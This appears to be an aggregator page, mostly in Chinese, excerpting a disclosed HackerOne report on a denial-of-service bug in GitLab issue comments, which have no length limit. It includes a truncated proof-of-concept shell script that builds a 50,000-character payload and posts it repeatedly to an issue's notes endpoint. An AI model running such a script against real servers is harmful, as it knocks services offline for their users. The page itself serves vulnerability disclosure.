DoS attack via comment on Issue
该报告还没有中文解读。
原文摘录
摘自原文(3358 字符中的一小部分)
Summary There is no limit to the number of characters in the issue comments, which allows a DoS attack. The DoS attack affects both server-side and client-side.
原文中的代码
#!/bin/sh
charBlock=$(head -c 50000 /dev/zero | sed -e 's/\x00/\/a/g')
payload='[a]('$charBlock')'
gitlabHost=$1
ProjectURL=$2
targetID=$3
loop=$4
curl=`cat << EOS
curl
--insecure
--silent
--output /dev/null
${ProjectURL}/notes?target_id=${targetID}\&target_type=issue
--header 'Host: …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 GitLab 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @8ayac · 版权归作者与 GitLab 所有